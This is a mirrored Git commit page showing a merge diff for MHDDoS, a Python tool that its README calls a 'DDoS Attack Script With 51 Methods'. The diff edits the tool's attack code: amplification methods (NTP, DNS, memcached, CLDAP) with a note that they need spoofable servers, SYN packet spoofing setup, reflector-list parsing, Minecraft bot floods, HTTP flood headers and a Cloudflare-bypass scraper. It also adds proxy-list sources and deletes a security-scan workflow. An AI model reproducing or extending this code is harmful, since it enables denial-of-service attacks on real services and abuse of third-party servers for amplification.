mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
Merge branch 'MatrixTM:main' into main
This commit is contained in:
commit
010fff7ca0
4
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
4
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
|
@ -44,11 +44,11 @@ body:
|
|||
render: true
|
||||
placeholder: |
|
||||
- OS: [e.g. Ubuntu]
|
||||
- Installed Requirements Version [e.g. PySocks1.70]
|
||||
- Installed Requirements Version [e.g. PyRoxy1.0b5]
|
||||
- Python Version [e.g. 3.8.x]
|
||||
value: |
|
||||
- OS: [e.g. Ubuntu]
|
||||
- Installed Requirements Version [e.g. PySocks1.70]
|
||||
- Installed Requirements Version [e.g. PyRoxy1.0b5]
|
||||
- Python Version [e.g. 3.8.x]
|
||||
validations:
|
||||
required: true
|
||||
|
|
29
.github/workflows/bandit.yml
vendored
29
.github/workflows/bandit.yml
vendored
|
@ -1,29 +0,0 @@
|
|||
name: Security check - Bandit
|
||||
|
||||
on: push
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ ubuntu-latest, macos-latest ]
|
||||
python-version: [ '3.8.12', '3.10' ]
|
||||
name: Python ${{ matrix.python-version }} ${{ matrix.os }}
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
- name: Security check - Bandit
|
||||
uses: ././
|
||||
with:
|
||||
python_version: ${{ matrix.python-version }}
|
||||
project_path: .
|
||||
ignore_failure: true
|
||||
|
||||
- name: Security check report artifacts
|
||||
uses: actions/upload-artifact@v1
|
||||
# if: failure()
|
||||
with:
|
||||
name: Security report
|
||||
path: output/security_report.txt
|
|
@ -1,4 +1,4 @@
|
|||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="aventium softworks"></p>
|
||||
<p align="center"><img src="https://cdn.discordapp.com/attachments/938175699326484490/948263435412598864/unknown_2.png" width="400px" height="150px" alt="ddos"></p>
|
||||
|
||||
<h1 align="center">MHDDoS - DDoS Attack Script With 51 Methods</h1>
|
||||
<em><h5 align="center">(Programming Language - Python 3)</h5></em>
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
{
|
||||
"MCBOT": "MHDDoS_",
|
||||
"proxy-providers": [
|
||||
{"type":4, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4", "timeout": 5},
|
||||
{"type":4, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4", "timeout": 5},
|
||||
|
@ -13,6 +14,7 @@
|
|||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
|
||||
|
||||
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
|
@ -21,6 +23,7 @@
|
|||
{"type":5, "url": "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://www.my-proxy.com/free-socks-5-proxy.html", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://github.com/roosterkid/openproxylist/blob/main/SOCKS5_RAW.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://api.openproxylist.xyz/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
|
@ -28,6 +31,7 @@
|
|||
{"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5},
|
||||
|
||||
|
||||
{"type":1, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=http", "timeout": 5},
|
||||
|
@ -67,7 +71,7 @@
|
|||
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5}
|
||||
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://worm.rip/http.txt", "timeout": 5}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
cfscrape<=2.1.1
|
||||
cloudscraper==1.2.60
|
||||
certifi<=2021.10.8
|
||||
dnspython>=2.2.0
|
||||
requests==2.27.1
|
||||
|
|
57
start.py
57
start.py
|
@ -27,13 +27,15 @@ from uuid import UUID, uuid4
|
|||
from PyRoxy import Proxy, ProxyChecker, ProxyType, ProxyUtiles
|
||||
from PyRoxy import Tools as ProxyTools
|
||||
from certifi import where
|
||||
from cfscrape import create_scraper
|
||||
from cloudscraper import create_scraper
|
||||
from dns import resolver
|
||||
from icmplib import ping
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
||||
from requests import Response, Session, exceptions, get, cookies
|
||||
from yarl import URL
|
||||
from re import compile
|
||||
|
||||
|
||||
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
|
||||
datefmt="%H:%M:%S")
|
||||
|
@ -48,26 +50,28 @@ __dir__: Path = Path(__file__).parent
|
|||
__ip__: Any = None
|
||||
|
||||
|
||||
with open(__dir__ / "config.json") as f:
|
||||
con = load(f)
|
||||
|
||||
def getMyIPAddress():
|
||||
global __ip__
|
||||
if __ip__:
|
||||
return __ip__
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://api.my-ip.io/ip', timeout=.1).text
|
||||
return get('https://api.my-ip.io/ip', timeout=.1).text
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
|
||||
return get('https://ipwhois.app/json/', timeout=.1).json()["ip"]
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ipinfo.io/json', timeout=.1).json()["ip"]
|
||||
return get('https://ipinfo.io/json', timeout=.1).json()["ip"]
|
||||
with suppress(Exception):
|
||||
__ip__ = ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
|
||||
return ProxyTools.Patterns.IP.search(get('http://checkip.dyndns.org/', timeout=.1).text)
|
||||
with suppress(Exception):
|
||||
__ip__ = ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
|
||||
return ProxyTools.Patterns.IP.search(get('https://spaceiran.com/myip/', timeout=.1).text)
|
||||
with suppress(Exception):
|
||||
__ip__ = get('https://ip.42.pl/raw', timeout=.1).text
|
||||
return get('https://ip.42.pl/raw', timeout=.1).text
|
||||
return getMyIPAddress()
|
||||
|
||||
|
||||
|
||||
class bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
|
@ -95,11 +99,18 @@ class Methods:
|
|||
"APACHE", "XMLRPC", "BOT", "BOMB", "DOWNLOADER", "KILLER"
|
||||
}
|
||||
|
||||
LAYER4_METHODS: Set[str] = {
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MEM", "NTP", "DNS", "ARD",
|
||||
"CHAR", "RDP", "MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE",
|
||||
"CLDAP"
|
||||
|
||||
LAYER4_AMP: Set[str] = {
|
||||
"MEM", "NTP", "DNS", "ARD",
|
||||
"CLDAP", "CHAR", "RDP"
|
||||
}
|
||||
|
||||
|
||||
LAYER4_METHODS: Set[str] = {*LAYER4_AMP,
|
||||
"TCP", "UDP", "SYN", "VSE", "MINECRAFT",
|
||||
"MCBOT", "CONNECTION", "CPS", "FIVEM", "TS3", "MCPE"
|
||||
}
|
||||
|
||||
ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS}
|
||||
|
||||
|
||||
|
@ -134,6 +145,7 @@ BYTES_SEND = Counter()
|
|||
|
||||
|
||||
class Tools:
|
||||
IP = compile("(?:\d{1,3}\.){3}\d{1,3}")
|
||||
|
||||
@staticmethod
|
||||
def humanbytes(i: int, binary: bool = False, precision: int = 2):
|
||||
|
@ -477,7 +489,7 @@ class Layer4(Thread):
|
|||
2,
|
||||
ProxyTools.Random.rand_ipv4(),
|
||||
uuid4()))
|
||||
Tools.send(s, Minecraft.login(f"MHDDoS_{ProxyTools.Random.rand_str(5)}"))
|
||||
Tools.send(s, Minecraft.login(f"{con['MCBOT']}{ProxyTools.Random.rand_str(5)}"))
|
||||
sleep(1.5)
|
||||
|
||||
c = 360
|
||||
|
@ -527,7 +539,7 @@ class Layer4(Thread):
|
|||
|
||||
def _genrate_syn(self) -> bytes:
|
||||
ip: IP = IP()
|
||||
ip.set_ip_src(getMyIPAddress())
|
||||
ip.set_ip_src(__ip__)
|
||||
ip.set_ip_dst(self._target[0])
|
||||
tcp: TCP = TCP()
|
||||
tcp.set_SYN()
|
||||
|
@ -621,7 +633,7 @@ class HttpFlood(Thread):
|
|||
'Accept-Encoding: gzip, deflate, br\r\n'
|
||||
'Accept-Language: en-US,en;q=0.9\r\n'
|
||||
'Cache-Control: max-age=0\r\n'
|
||||
'Connection: Keep-Alive\r\n'
|
||||
'Connection: keep-alive\r\n'
|
||||
'Sec-Fetch-Dest: document\r\n'
|
||||
'Sec-Fetch-Mode: navigate\r\n'
|
||||
'Sec-Fetch-Site: none\r\n'
|
||||
|
@ -1388,8 +1400,6 @@ def handleProxyList(con, proxy_li, proxy_ty, url=None):
|
|||
|
||||
|
||||
if __name__ == '__main__':
|
||||
with open(__dir__ / "config.json") as f:
|
||||
con = load(f)
|
||||
with suppress(KeyboardInterrupt):
|
||||
with suppress(IndexError):
|
||||
one = argv[1].upper()
|
||||
|
@ -1416,6 +1426,7 @@ if __name__ == '__main__':
|
|||
exit("Method Not Found %s" %
|
||||
", ".join(Methods.ALL_METHODS))
|
||||
|
||||
|
||||
if method in Methods.LAYER7_METHODS:
|
||||
url = URL(urlraw)
|
||||
host = url.host
|
||||
|
@ -1488,14 +1499,22 @@ if __name__ == '__main__':
|
|||
not ToolsConsole.checkRawSocket():
|
||||
exit("Cannot Create Raw Socket")
|
||||
|
||||
if method in Methods.LAYER4_AMP:
|
||||
logger.warning("this method need spoofable servers please check")
|
||||
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
|
||||
|
||||
threads = int(argv[3])
|
||||
timer = int(argv[4])
|
||||
proxies = None
|
||||
ref = None
|
||||
|
||||
if not port:
|
||||
logger.warning("Port Not Selected, Set To Default: 80")
|
||||
port = 80
|
||||
|
||||
if method == "SYN":
|
||||
__ip__ = getMyIPAddress()
|
||||
|
||||
if len(argv) >= 6:
|
||||
argfive = argv[5].strip()
|
||||
if argfive:
|
||||
|
@ -1506,8 +1525,7 @@ if __name__ == '__main__':
|
|||
if len(argv) == 7:
|
||||
logger.setLevel("DEBUG")
|
||||
ref = set(a.strip()
|
||||
for a in ProxyTools.Patterns.IP.findall(
|
||||
refl_li.open("r+").read()))
|
||||
for a in Tools.IP.findall(refl_li.open("r").read()))
|
||||
if not ref: exit("Empty Reflector File ")
|
||||
|
||||
elif argfive.isdigit() and len(argv) >= 7:
|
||||
|
@ -1521,7 +1539,6 @@ if __name__ == '__main__':
|
|||
|
||||
else:
|
||||
logger.setLevel("DEBUG")
|
||||
|
||||
for _ in range(threads):
|
||||
Layer4((target, port), ref, method, event,
|
||||
proxies).start()
|
||||
|
|
Loading…
Reference in New Issue
Block a user